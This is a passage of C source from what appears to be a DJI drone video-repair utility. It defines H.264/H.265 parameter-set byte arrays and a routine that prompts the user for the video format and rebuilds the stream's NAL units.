static unsigned char SPS_480p30[] = { 0x27, 0x4d, 0x40, 0x1e, 0x9a, 0x66, 0x05, 0x01, 0xed, 0x80, 0xb6, 0x40, 0x00, 0x00, 0xfa, 0x40, 0x00, 0x3a, 0x98, 0x3a, 0x10, 0x00, 0x5e, 0x68, 0x00, 0x02, 0xf3, 0x40, 0xbb, 0xcb, 0x8d, 0x08, 0x00, 0x2f, 0x34, 0x00, 0x01, 0x79, 0xa0, 0x5d, 0xe5, 0xc3, 0xe1, 0x10, 0x8a, 0x3c, 0xfe };

static unsigned char PPS_P2VP[] = { 0x28, 0xee, 0x3c, 0x80, 0xfe };
static unsigned char PPS_Inspire[] = { 0x28, 0xee, 0x38, 0x30, 0xfe };
static unsigned char PPS_For1080pNew[] = { 0x68, 0xee, 0x38, 0x80, 0xfe };

static void doRepairType2(FILE* inputFID, FILE* outputFID, unsigned second4Bytes) {
/* Begin the repair by writing SPS and PPS NAL units (each preceded by a 'start code'): */
{
int formatCode;
unsigned char* sps;
unsigned char* pps;
unsigned char c;

/* The content of the SPS NAL unit depends upon which video format was used.
Prompt the user for this now:
*/
while (1) {
fprintf(stderr, "First, however, we need to know which video format was used. Enter this now.\n");
fprintf(stderr, "\tIf the video format was 2160p, 30fps: Type 0, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 2160(x4096)p(4K), 25fps: Type 1, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 2160(x3840)p(UHD-1), 25fps: Type 2, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 2160(x4096)p(4K), 24fps: Type 3, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 2160(x3840)p(UHD-1), 24fps: Type 4, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1530p, 30fps: Type 5, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1530p, 25fps: Type 6, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1530p, 24fps: Type 7, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1520p, 60fps: Type 8, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1520p, 30fps: Type 9, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1520p, 25fps: Type A, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1520p, 24fps: Type B, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080p, 60fps: Type C, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080i, 60fps: Type D, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080p, 50fps: Type E, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080p, 48fps: Type F, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080p, 30fps: Type G, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080p, 30fps (Zenmuse): Type H, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080p, 25fps: Type I, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 1080p, 24fps: Type J, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 720p, 60fps: Type K, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 720p, 60fps (Osmo+): Type L, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 720p, 50fps: Type M, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 720p, 48fps: Type N, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 720p, 30fps: Type O, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 720p, 25fps: Type P, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 720p, 24fps: Type Q, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was 480p, 30fps: Type R, then the \"Return\" key.\n");
fprintf(stderr, "(If you are unsure which video format was used, then guess as follows:\n");
fprintf(stderr, "\tIf your file was from a Mavic Pro: Type 7, then the \"Return\" key.\n");
fprintf(stderr, "\tIf your file was from a Phantom 2 Vision+: Type G, then the \"Return\" key.\n");
fprintf(stderr, "\tIf your file was from an Inspire: Type 3, then the \"Return\" key.\n");
fprintf(stderr, " If the resulting file is unplayable by VLC or IINA, then you may have guessed the wrong format;\n");
fprintf(stderr, " try again with another format.)\n");
fprintf(stderr, "If you know for sure that your video format was *not* one of the ones listed above, then please read FAQ number 4 at \"https://djifix.live555.com/#faq\", and we'll try to update the software to support your video format.\n");
do {formatCode = getchar(); } while (formatCode == '\r' && formatCode == '\n');
if ((formatCode >= '0' && formatCode <= '9') ||
(formatCode >= 'a' && formatCode <= 'r') ||
(formatCode >= 'A' && formatCode <= 'R')) {
break;
}
fprintf(stderr, "Invalid entry!\n");
}

fprintf(stderr, "%s", startingToRepair);
switch (formatCode) {
case '0': { sps = SPS_2160p30; pps = PPS_Inspire; break; }
case '1': { sps = SPS_2160x4096p25; pps = PPS_Inspire; break; }
case '2': { sps = SPS_2160x3840p25; pps = PPS_Inspire; break; }
case '3': { sps = SPS_2160x4096p24; pps = PPS_Inspire; break; }
case '4': { sps = SPS_2160x3840p24; pps = PPS_Inspire; break; }
case '5': { sps = SPS_1530p30; pps = PPS_Inspire; break; }
case '6': { sps = SPS_1530p25; pps = PPS_Inspire; break; }
case '7': { sps = SPS_1530p24; pps = PPS_Inspire; break; }
case '8': { sps = SPS_1520p60; pps = PPS_Inspire; break; }
case '9': { sps = SPS_1520p30; pps = PPS_Inspire; break; }
case 'a': case 'A': { sps = SPS_1520p25; pps = PPS_Inspire; break; }
case 'b': case 'B': { sps = SPS_1520p24; pps = PPS_Inspire; break; }
case 'c': case 'C': { sps = SPS_1080p60; pps = PPS_Inspire; break; }
case 'd': case 'D': { sps = SPS_1080i60; pps = PPS_P2VP; break; }
case 'e': case 'E': { sps = SPS_1080p50; pps = PPS_Inspire; break; }
case 'f': case 'F': { sps = SPS_1080p48; pps = PPS_Inspire; break; }
case 'g': case 'G': { sps = SPS_1080p30_default; pps = PPS_For1080pNew; break; }
case 'h': case 'H': { sps = SPS_1080p30_advanced; pps = PPS_Inspire; break; }
case 'i': case 'I': { sps = SPS_1080p25; pps = PPS_P2VP; break; }
case 'j': case 'J': { sps = SPS_1080p24; pps = PPS_Inspire; break; }
case 'k': case 'K': { sps = SPS_720p60_default; pps = PPS_P2VP; break; }
case 'l': case 'L': { sps = SPS_720p60_advanced; pps = PPS_Inspire; break; }
case 'm': case 'M': { sps = SPS_720p50; pps = PPS_Inspire; break; }
case 'n': case 'N': { sps = SPS_720p48; pps = PPS_Inspire; break; }
case 'o': case 'O': { sps = SPS_720p30; pps = PPS_P2VP; break; }
case 'p': case 'P': { sps = SPS_720p25; pps = PPS_Inspire; break; }
case 'q': case 'Q': { sps = SPS_720p24; pps = PPS_Inspire; break; }
case 'r': case 'R': { sps = SPS_480p30; pps = PPS_P2VP; break; }
default: { sps = SPS_1080p30_default; pps = PPS_P2VP; break; } /* shouldn't happen */
};

/*SPS*/
putStartCode(outputFID);
while ((c = *sps++) != 0xfe) wr(c);

/*PPS*/
putStartCode(outputFID);
while ((c = *pps++) != 0xfe) wr(c);
}

/* Then write the first (2-byte) NAL unit, preceded by a 'start code': */
putStartCode(outputFID);
wr(second4Bytes>>24); wr(second4Bytes>>16);

/* Then repeatedly:
1/ Read a 4-byte NAL unit size.
2/ Write a 'start code'.
3/ Read 'NAL unit size' bytes, and write them to the output file.
*/
{
unsigned nalSize;
unsigned char c1, c2;

if (!get1Byte(inputFID, &c1)) return;
if (!get1Byte(inputFID, &c2)) return;
nalSize = ((second4Bytes&0xFFFF)<<16)|(c1<<8)|c2; /* for the first NAL unit */

while (!feof(inputFID)) {
putStartCode(outputFID);
while (nalSize-- > 0) {
wr(fgetc(inputFID));
}

if (!get4Bytes(inputFID, &nalSize)) return;
if (nalSize == 0 || nalSize > 0x008FFFFF) {
/* An anomalous situation (we got a NAL size that's 0, or much bigger than normal).
This suggests that the data here is not really video (or is corrupt in some other way).
Try to recover from this by repeatedly reading bytes until we get a 'nalSize'
of 0x00000002. With luck, that will begin sane data once again.
*/
unsigned char c;
unsigned long filePosition = ftell(inputFID)-4;

fprintf(stderr, "\n(Skipping over anomalous bytes (nalSize 0x%08x), starting at file position 0x%08lx (%lu MBytes))...\n", nalSize, filePosition, filePosition/1000000);
do {
if (!get1Byte(inputFID, &c)) return;
nalSize = (nalSize<<8)|c;
} while (nalSize != 2);

filePosition = ftell(inputFID)-4;
fprintf(stderr, "...resuming at file position 0x%08lx (%lu MBytes)). Continuing to repair the file (please wait)...", filePosition, filePosition/1000000);
}
}
}
}


static unsigned char type3_H264_SPS_3000p30[] = { 0x27, 0x64, 0x00, 0x34, 0xad, 0x84, 0x61, 0x18, 0x46, 0x11, 0x84, 0x61, 0x18, 0x46, 0x11, 0x34, 0xc8, 0x03, 0xe8, 0x05, 0xe7, 0xe5, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x1d, 0x4c, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x1c, 0x9c, 0x38, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x01, 0x7d, 0x78, 0x00, 0x00, 0x0e, 0x4e, 0x1c, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x12, 0xfe };
static unsigned char type3_H264_SPS_2160x4096p60[] = { 0x27, 0x64, 0x00, 0x34, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x0e, 0xa6, 0x07, 0x43, 0x00, 0x00, 0xbe, 0xbc, 0x00, 0x00, 0x0d, 0x69, 0x3a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x01, 0x7d, 0x78, 0x00, 0x00, 0x1a, 0xd2, 0x74, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x58, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p60[] = { 0x27, 0x64, 0x00, 0x34, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x3a, 0x98, 0x1d, 0x0c, 0x00, 0x07, 0x27, 0x08, 0x00, 0x00, 0x80, 0xbe, 0xf5, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x39, 0x38, 0x40, 0x00, 0x04, 0x05, 0xf7, 0xae, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_2160x4096p50[] = { 0x27, 0x64, 0x00, 0x34, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x40, 0x00, 0x0c, 0x35, 0x07, 0x43, 0x00, 0x00, 0xbe, 0xbc, 0x00, 0x00, 0x0d, 0x69, 0x3a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x01, 0x7d, 0x78, 0x00, 0x00, 0x1a, 0xd2, 0x74, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x58, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p50[] = { 0x27, 0x64, 0x00, 0x34, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x00, 0x00, 0x30, 0xd4, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x35, 0xa4, 0xe9, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x05, 0xf5, 0xe0, 0x00, 0x00, 0x6b, 0x49, 0xd2, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H264_SPS_2160x4096p48[] = { 0x27, 0x64, 0x00, 0x34, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x0b, 0xb8, 0x07, 0x43, 0x00, 0x00, 0xbe, 0xbc, 0x00, 0x00, 0x0d, 0x69, 0x3a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x01, 0x7d, 0x78, 0x00, 0x00, 0x1a, 0xd2, 0x74, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x58, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p48[] = { 0x27, 0x64, 0x00, 0x34, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x2e, 0xe0, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x35, 0xa4, 0xe9, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x05, 0xf5, 0xe0, 0x00, 0x00, 0x6b, 0x49, 0xd2, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H265_SPS_2160x4096p30[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x09, 0xfe };
static unsigned char type3_H264_SPS_2160x4096p30[] = { 0x27, 0x64, 0x00, 0x34, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x07, 0x53, 0x07, 0x43, 0x00, 0x00, 0xbe, 0xbc, 0x00, 0x00, 0x0d, 0x69, 0x3a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x01, 0x7d, 0x78, 0x00, 0x00, 0x1a, 0xd2, 0x74, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x58, 0xfe };
static unsigned char type3_H265_SPS_2160x3840p30[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x09, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p30_DJIMini2[] = { 0x67, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x1d, 0x4c, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x2f, 0xaf, 0x09, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x05, 0xf5, 0xe0, 0x00, 0x00, 0x5f, 0x5e, 0x12, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p30_other[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x1d, 0x4c, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x35, 0xa4, 0xe9, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x05, 0xf5, 0xe0, 0x00, 0x00, 0x6b, 0x49, 0xd2, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H264_SPS_2160x4096p25[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x01, 0x00, 0x01, 0x0f, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x40, 0x00, 0x06, 0x1a, 0x87, 0x43, 0x00, 0x00, 0xbe, 0xbc, 0x00, 0x00, 0x0d, 0x69, 0x3a, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x01, 0x7d, 0x78, 0x00, 0x00, 0x1a, 0xd2, 0x74, 0xbb, 0xcb, 0x87, 0xc2, 0x21, 0x14, 0x58, 0xfe };
static unsigned char type3_H265_SPS_2160x3840p25[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x09, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p25[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x00, 0x00, 0x18, 0x6a, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x35, 0xa4, 0xe9, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x05, 0xf5, 0xe0, 0x00, 0x00, 0x6b, 0x49, 0xd2, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p24_DJIMini2[] = { 0x67, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x20, 0x00, 0x17, 0x70, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x2f, 0xaf, 0x09, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x05, 0xf5, 0xe0, 0x00, 0x00, 0x5f, 0x5e, 0x12, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H264_SPS_2160x3840p24_other[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x03, 0xc0, 0x04, 0x3e, 0xc0, 0x5a, 0x80, 0x80, 0x80, 0xa0, 0x00, 0x00, 0x7d, 0x00, 0x00, 0x17, 0x70, 0x1d, 0x0c, 0x00, 0x02, 0xfa, 0xf0, 0x00, 0x00, 0x35, 0xa4, 0xe9, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x05, 0xf5, 0xe0, 0x00, 0x00, 0x6b, 0x49, 0xd2, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H264_SPS_1530p60[] = { 0x67, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1f, 0x93, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0xea, 0x60, 0x74, 0x30, 0x00, 0x09, 0x89, 0x68, 0x00, 0x00, 0x98, 0x96, 0x85, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x13, 0x12, 0xd0, 0x00, 0x01, 0x31, 0x2d, 0x0b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
static unsigned char type3_H265_SPS_1530p50[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x09, 0xfe };
static unsigned char type3_H264_SPS_1530p48[] = { 0x67, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1f, 0x93, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0xbb, 0x80, 0x74, 0x30, 0x00, 0x09, 0x89, 0x68, 0x00, 0x00, 0x98, 0x96, 0x85, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x13, 0x12, 0xd0, 0x00, 0x01, 0x31, 0x2d, 0x0b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
// Old data, obsoleted by newer Mavic Mini format:
//static unsigned char type3_H264_SPS_1530p48[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1f, 0x93, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0xbb, 0x80, 0x74, 0x30, 0x00, 0x0b, 0xeb, 0xc0, 0x00, 0x00, 0xd6, 0x93, 0xa5, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x17, 0xd7, 0x80, 0x00, 0x01, 0xad, 0x27, 0x4b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
// Old data, obsoleted by newer Mavic Mini format:
//static unsigned char type3_H264_SPS_1530p30[] = { 0x27, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1b, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x75, 0x30, 0x74, 0x30, 0x00, 0x09, 0x89, 0x68, 0x00, 0x00, 0xab, 0xa9, 0x55, 0xde, 0x5c, 0x68, 0x60, 0x00, 0x13, 0x12, 0xd0, 0x00, 0x01, 0x57, 0x52, 0xab, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
// Old version of the Mavic Mini format:
//static unsigned char type3_H264_SPS_1530p30[] = { 0x67, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1b, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x75, 0x30, 0x74, 0x30, 0x00, 0x13, 0x12, 0xc0, 0x00, 0x04, 0xc4, 0xb4, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0x62, 0x58, 0x00, 0x00, 0x98, 0x96, 0x8b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
static unsigned char type3_H264_SPS_1530p30[] = { 0x67, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1f, 0x93, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x75, 0x30, 0x74, 0x30, 0x00, 0x13, 0x12, 0xc0, 0x00, 0x04, 0xc4, 0xb4, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0x62, 0x58, 0x00, 0x00, 0x98, 0x96, 0x8b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
static unsigned char type3_H264_SPS_1530p25[] = { 0x67, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1b, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x00, 0x00, 0x61, 0xa8, 0x74, 0x30, 0x00, 0x13, 0x12, 0xc0, 0x00, 0x04, 0xc4, 0xb4, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0x62, 0x58, 0x00, 0x00, 0x98, 0x96, 0x8b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
static unsigned char type3_H264_SPS_1530p24_MavicMini[] = { 0x67, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1f, 0x93, 0x01, 0x6a, 0x02, 0x02, 0x02, 0x80, 0x00, 0x01, 0xf4, 0x80, 0x00, 0x5d, 0xc0, 0x74, 0x30, 0x00, 0x13, 0x12, 0xc0, 0x00, 0x04, 0xc4, 0xb4, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x02, 0x62, 0x58, 0x00, 0x00, 0x98, 0x96, 0x8b, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x45, 0x80, 0xfe };
static unsigned char type3_H264_SPS_1530p24_other[] = { 0x27, 0x64, 0x00, 0x32, 0xac, 0x34, 0xc8, 0x02, 0xa8, 0x0c, 0x1b, 0x01, 0xaa, 0x02, 0x02, 0x02, 0xa0, 0x00, 0x01, 0xf4, 0xa0, 0x00, 0x5d, 0xc0, 0xa4, 0x30, 0x00, 0x09, 0xa9, 0x68, 0x00, 0x00, 0xab, 0xa9, 0x55, 0xde, 0xac, 0x68, 0x60, 0x00, 0xa3, 0x12, 0xd0, 0x00, 0xa1, 0x57, 0x52, 0xab, 0xac, 0xb8, 0x7c, 0x22, 0xa1, 0x45, 0x80, 0xfe };
static unsigned char type3_H265_SPS_1080p120[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x09, 0xfe };
static unsigned char type3_H264_SPS_1080p120[] = { 0x27, 0x64, 0x00, 0x33, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x07, 0x53, 0x01, 0xd0, 0xc0, 0x00, 0x2f, 0xaf, 0x00, 0x00, 0x03, 0x03, 0x5a, 0x4e, 0x97, 0x79, 0x71, 0xa1, 0x80, 0x00, 0x5f, 0x5e, 0x00, 0x00, 0x06, 0xb4, 0x9d, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H265_SPS_1080p60[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x7b, 0xac, 0x09, 0xfe };
static unsigned char type3_H264_SPS_1080p60_MavicMini[] = { 0x67, 0x64, 0x00, 0x2a, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x03, 0xa9, 0x81, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x13, 0x12, 0xd1, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0x62, 0x5a, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_1080p60_other[] = { 0x27, 0x64, 0x00, 0x2a, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x03, 0xa9, 0x81, 0xd0, 0xc0, 0x00, 0x26, 0x25, 0xa0, 0x00, 0x02, 0xae, 0xa5, 0x57, 0x79, 0x71, 0xa1, 0x80, 0x00, 0x4c, 0x4b, 0x40, 0x00, 0x05, 0x5d, 0x4a, 0xae, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_1080p50_MavicMini[] = { 0x67, 0x64, 0x00, 0x2a, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd0, 0x00, 0x03, 0x0d, 0x41, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x13, 0x12, 0xd1, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0x62, 0x5a, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_1080p48_DJIMini2[] = { 0x67, 0x64, 0x00, 0x2a, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x02, 0xee, 0x01, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x13, 0x12, 0xd1, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0x62, 0x5a, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_1080p30_MavicMini[] = { 0x67, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x01, 0xd4, 0xc1, 0xd0, 0xc0, 0x00, 0x42, 0xc1, 0x80, 0x00, 0x10, 0xb0, 0x75, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x08, 0x58, 0x30, 0x00, 0x02, 0x16, 0x0e, 0xae, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
